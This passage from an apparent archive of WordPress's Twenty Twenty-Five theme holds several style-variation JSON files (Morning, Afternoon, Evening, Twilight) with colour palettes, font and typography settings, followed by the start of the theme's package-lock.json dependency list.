"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] } ] } }, "styles": { "color": { "text": "var:preset|color|accent-2" }, "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "1.5rem", "letterSpacing": "-0.24px", "lineHeight": "1.3" }, "blocks": { "core/code": { "color": { "text": "var:preset|color|accent-2", "background": "var:preset|color|accent-5" } }, "core/navigation": { "typography": { "fontSize": "1.25rem" } }, "core/post-author-name": { "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-terms": { "typography": { "fontWeight": "400" }, "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-title": { "typography": { "fontWeight": "800", "letterSpacing": "-0.96px" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|accent-2" }, "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "var:preset|font-size|x-large", "letterSpacing": "-0.76px", "fontWeight": "800" }, "elements": { "cite": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "400", "letterSpacing": "-0.14px" }, "color": { "text": "var:preset|color|accent-2" } } } }, "core/quote": { "color": { "text": "var:preset|color|accent-2" }, "typography": { "fontSize": "1.5rem", "fontWeight": "600", "letterSpacing": "-0.24px" }, "elements": { "cite": { "typography": { "letterSpacing": "-0.14px" }, "color": { "text": "var:preset|color|accent-2" } } } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "30px", "fontWeight": "800", "letterSpacing": "-0.6px" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } } }, "elements": { "button": { "color": { "text": "var:preset|color|base", "background": "var:preset|color|accent-2" }, "border": { "radius": "0px" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } }, "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "1.5rem", "fontWeight": "800" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontWeight": "800" } }, "link": { "color": { "text": "var:preset|color|contrast" } } }, "variations": { "post-terms-1": { "typography": { "fontSize": "16px" }, "elements": { "link": { "color": { "background": "var:preset|color|accent-5" }, "border": { "radius": "100px", "color": "var:preset|color|accent-5" } } } }, "section-1": { "color": { "text": "var:preset|color|accent-5", "background": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-3": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-5": { "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-5" }, "elements": { "heading": { "color": { "text": "currentColor" } }, "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)", "text": "var:preset|color|base" } } } } } } } } themes/twentytwentyfive/styles/06-morning.json000064400000024557152335264760015654 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Morning", "settings": { "color": { "palette": [ { "color": "#DFDCD7", "name": "Base", "slug": "base" }, { "color": "#191919", "name": "Contrast", "slug": "contrast" }, { "color": "#7A9BDB", "name": "Accent 1", "slug": "accent-1" }, { "color": "#F7E6FF", "name": "Accent 2", "slug": "accent-2" }, { "color": "#182949", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#D7D3CC", "name": "Accent 5", "slug": "accent-5" }, { "color": "#19191933", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontFamilies": [ { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] }, { "name": "Ysabeau Office", "slug": "ysabeau-office", "fontFamily": "\"Ysabeau Office\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "normal", "fontFamily": "\"Ysabeau Office\"" }, { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "italic", "fontFamily": "\"Ysabeau Office\"" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "2rem", "min": "1.75rem" }, "name": "Extra Large", "size": "1.75rem", "slug": "x-large" }, { "fluid": { "max": "2.6rem", "min": "1.4rem" }, "name": "Extra Extra Large", "size": "2.6rem", "slug": "xx-large" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "letterSpacing": "-0.24px" }, "blocks": { "core/code": { "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-5" } }, "core/navigation": { "typography": { "fontSize": "1.25rem" } }, "core/paragraph": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-author-name": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-title": { "typography": { "fontWeight": "900", "letterSpacing": "-0.96px" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|contrast" }, "typography": { "fontSize": "var:preset|font-size|xx-large" }, "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.14px" }, "color": { "text": "var:preset|color|accent-4" } } } }, "core/quote": { "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.14px" }, "color": { "text": "var:preset|color|accent-4" } } } }, "core/query-title": { "typography": { "fontWeight": "900" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "textTransform": "uppercase", "letterSpacing": "1.6px" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "fontWeight": "900", "letterSpacing": "-0.36px" }, "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-1" }, "border": { "radius": "0px" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)", "text": "var:preset|color|contrast" } } }, "heading": { "color": { "text": "var:preset|color|contrast" }, "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "900", "lineHeight": "1.2" } }, "h5": { "typography": { "letterSpacing": "0px" } }, "h6": { "typography": { "fontWeight": "900", "letterSpacing": "0px" } }, "link": { "color": { "text": "currentColor" } } }, "variations": { "post-terms-1": { "typography": { "fontSize": "var:preset|font-size|medium" }, "elements": { "link": { "color": { "background": "var:preset|color|accent-5" }, "border": { "radius": "100px", "color": "var:preset|color|accent-5" } } } }, "section-2": { "elements": { "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } } } }, "section-3": { "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)" } } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "heading": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)", "text": "var:preset|color|contrast" } } }, "link": { "color": { "text": "currentColor" } } } }, "section-5": { "elements": { "heading": { "color": { "text": "var:preset|color|base" } }, "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/04-afternoon.json000064400000013504152335264760016162 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Afternoon", "settings": { "color": { "palette": [ { "color": "#DAE7BD", "name": "Base", "slug": "base" }, { "color": "#516028", "name": "Contrast", "slug": "contrast" }, { "color": "#C7F642", "name": "Accent 1", "slug": "accent-1" }, { "color": "#EBF6D3", "name": "Accent 2", "slug": "accent-2" }, { "color": "#303D10", "name": "Accent 3", "slug": "accent-3" }, { "color": "#516028", "name": "Accent 4", "slug": "accent-4" }, { "color": "#EBF6D3", "name": "Accent 5", "slug": "accent-5" }, { "color": "#51602833", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontFamilies": [ { "name": "Platypi", "slug": "platypi", "fontFamily": "Platypi", "fontFace": [ { "fontFamily": "Platypi", "fontStyle": "normal", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2" ] }, { "fontFamily": "Platypi", "fontStyle": "italic", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2" ] } ] }, { "name": "Ysabeau Office", "slug": "ysabeau-office", "fontFamily": "\"Ysabeau Office\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "normal", "fontFamily": "\"Ysabeau Office\"" }, { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "italic", "fontFamily": "\"Ysabeau Office\"" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "1.8rem", "min": "1.4rem" }, "name": "Extra Large", "size": "1.4rem", "slug": "x-large" }, { "fluid": { "max": "2.6rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "letterSpacing": "-0.22px", "lineHeight": "1.5" }, "blocks": { "core/button": { "border": { "radius": "0px" }, "spacing": { "padding": { "bottom": "1rem", "left": "1.6rem", "right": "1.6rem", "top": "1rem" } }, "variations": { "outline": { "spacing": { "padding": { "bottom": "1rem", "left": "1.6rem", "right": "1.6rem", "top": "1rem" } } } } }, "core/code": { "typography": { "letterSpacing": "0px" } }, "core/heading": { "typography": { "lineHeight": "1.2" } }, "core/list": { "typography": { "lineHeight": "1.3" } }, "core/loginout": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-terms": { "typography": { "fontWeight": "400" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|platypi", "letterSpacing": "-0.01em", "lineHeight": "1.1" } }, "core/quote": { "typography": { "fontWeight": "300" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "fontSize": "var:preset|font-size|large", "letterSpacing": "1.44px", "textTransform": "uppercase" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "fontWeight": "600", "letterSpacing": "1.44px", "textTransform": "uppercase" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, black)" } } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|platypi" } }, "h5": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "normal" } }, "h6": { "typography": { "fontSize": "var:preset|font-size|small", "fontWeight": "400", "fontStyle": "initial", "letterSpacing": "initial", "textTransform": "initial" } } }, "variations": { "section-2": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|accent-1" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|accent-3" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } } } }, "section-4": { "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } } } }, "section-5": { "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 90%, transparent)" } } } } } } } } themes/twentytwentyfive/styles/01-evening.json000064400000004440152335264760015616 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Evening", "settings": { "color": { "palette": [ { "color": "#1B1B1B", "name": "Base", "slug": "base" }, { "color": "#F0F0F0", "name": "Contrast", "slug": "contrast" }, { "color": "#786D0A", "name": "Accent 1", "slug": "accent-1" }, { "color": "#442369", "name": "Accent 2", "slug": "accent-2" }, { "color": "#D1D0EA", "name": "Accent 3", "slug": "accent-3" }, { "color": "#CBCBCB", "name": "Accent 4", "slug": "accent-4" }, { "color": "#353535", "name": "Accent 5", "slug": "accent-5" }, { "color": "#FFFFFF33", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "0.6rem", "left": "1.6rem", "right": "1.6rem", "top": "0.6rem" } } } } } }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)", "text": "var:preset|color|base" } }, "spacing": { "padding": { "bottom": "0.6rem", "left": "1.6rem", "right": "1.6rem", "top": "0.6rem" } } } }, "variations": { "section-2": { "elements": { "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-4": { "elements": { "button": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } } } } } } } themes/twentytwentyfive/styles/05-twilight.json000064400000011635152335264760016026 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Twilight", "settings": { "color": { "palette": [ { "color": "#131313", "name": "Base", "slug": "base" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#4B52FF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#FF7A5C", "name": "Accent 2", "slug": "accent-2" }, { "color": "#252525", "name": "Accent 3", "slug": "accent-3" }, { "color": "#FFFFFF", "name": "Accent 4", "slug": "accent-4" }, { "color": "#252525", "name": "Accent 5", "slug": "accent-5" }, { "color": "#FFFFFF33", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontFamilies": [ { "name": "Roboto Slab", "slug": "roboto-slab", "fontFamily": "\"Roboto Slab\", serif", "fontFace": [ { "fontFamily": "\"Roboto Slab\"", "fontStyle": "normal", "fontWeight": "100 900", "src": [ "file:./assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2" ] } ] }, { "name": "Manrope", "slug": "manrope", "fontFamily": "Manrope, sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/manrope/Manrope-VariableFont_wght.woff2" ], "fontWeight": "200 800", "fontStyle": "normal", "fontFamily": "Manrope" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "2rem", "min": "1.75rem" }, "name": "Extra Large", "size": "1.75rem", "slug": "x-large" }, { "fluid": { "max": "2.4rem", "min": "2.15rem" }, "name": "Extra Extra Large", "size": "2.15rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "letterSpacing": "0" }, "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "0.625rem", "left": "1.375rem", "right": "1.375rem", "top": "0.625rem" } } } } }, "core/navigation": { "typography": { "fontSize": "var:preset|font-size|large", "letterSpacing": "-0.28px", "textTransform": "uppercase" } }, "core/post-author": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-author-name": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-terms": { "typography": { "fontWeight": "500" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|roboto-slab", "fontSize": "var:preset|font-size|xx-large", "fontWeight": "200" } }, "core/search": { "typography": { "textTransform": "uppercase" } }, "core/site-tagline": { "typography": { "fontSize": "var:preset|font-size|large" } }, "core/site-title": { "typography": { "textTransform": "uppercase" } } }, "elements": { "button": { "spacing": { "padding": { "bottom": "0.625rem", "left": "1.375rem", "right": "1.375rem", "top": "0.625rem" } }, "typography": { "fontWeight": "500", "letterSpacing": "-0.36px", "textTransform": "uppercase" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|roboto-slab", "fontWeight": "300", "letterSpacing": "-0.5px", "lineHeight": "1.2" } } }, "variations": { "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|accent-2" }, ":hover": { "color": { "text": "var:preset|color|accent-2" } } }, "link": { "color": { "text": "currentColor" } } } }, "section-5": { "blocks": { "core/post-comments-form": { "css": "& textarea, input:not([type=submit]){border-radius:.25rem; border-color: color-mix(in srgb, currentColor 20%, transparent) !important;} & input[type=checkbox]{margin:0 .2rem 0 0 !important;} & label {font-size: var(--wp--preset--font-size--small); }" }, "core/search": { "css": "& .wp-block-search__input{border-color: color-mix(in srgb, currentColor 20%, transparent);}" } } } } } } themes/twentytwentyfive/package-lock.json000064400000151644152335264760014754 0ustar00{ "name": "twentytwentyfive", "version": "1.5.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "twentytwentyfive", "version": "1.5.0", "license": "GPL-2.0-or-later", "devDependencies": { "@wordpress/browserslist-config": "^6.34.0", "cssnano": "^7.1.2", "postcss": "^8.5.6", "postcss-cli": "^11.0.1" }, "engines": { "node": ">=20.10.0", "npm": ">=10.2.3" } }, "node_modules/@wordpress/browserslist-config": { "version": "6.34.0", "resolved": "https://registry.npmjs.org/@wordpress/browserslist-config/-/browserslist-config-6.34.0.tgz", "integrity": "sha512-pmcCkqG2jW+UUBSkX7rSZS33mcW6M0fKcJPD40TlK2cUZvECS5TDa2BC/b80PfIsT2kSw+Z9Wv+8eyX6I8HGjQ==", "dev": true, "license": "GPL-2.0-or-later", "engines": { "node": ">=18.12.0", "npm": ">=8.19.2" } }, "node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true, "license": "MIT", "engines": { "node": ">=8" } }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "license": "MIT", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/anymatch": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", "dev": true, "license": "ISC", "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" }, "engines": { "node": ">= 8" } }, "node_modules/baseline-browser-mapping": { "version": "2.8.25", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.8.25.tgz", "integrity": "sha512-2NovHVesVF5TXefsGX1yzx1xgr7+m9JQenvz6FQY3qd+YXkKkYiv+vTCc7OriP9mcDZpTC5mAOYN4ocd29+erA==", "dev": true, "license": "Apache-2.0", "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "node_modules/binary-extensions": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", "dev": true, "license": "MIT", "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/boolbase": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", "dev": true, "license": "ISC" }, "node_modules/braces": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", "dev": true, "license": "MIT", "dependencies": { "fill-range": "^7.1.1" }, "engines": { "node": ">=8" } }, "node_modules/browserslist": { "version": "4.28.0", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.0.tgz", "integrity": "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/browserslist" }, { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "peer": true, "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": { "browserslist": "cli.js" }, "engines": { "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" } }, "node_modules/caniuse-api": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.0.0", "caniuse-lite": "^1.0.0", "lodash.memoize": "^4.1.2", "lodash.uniq": "^4.5.0" } }, "node_modules/caniuse-lite": { "version": "1.0.30001754", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001754.tgz", "integrity": "sha512-x6OeBXueoAceOmotzx3PO4Zpt4rzpeIFsSr6AAePTZxSkXiYDUmpypEl7e2+8NCd9bD7bXjqyef8CJYPC1jfxg==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/browserslist" }, { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "CC-BY-4.0" }, "node_modules/chokidar": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", "dev": true, "license": "MIT", "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "engines": { "node": ">= 8.10.0" }, "funding": { "url": "https://paulmillr.com/funding/" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "node_modules/cliui": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, "license": "ISC", "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" }, "engines": { "node": ">=12" } }, "node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "license": "MIT", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/color-name": { "version": "1.1.4", "resolved": 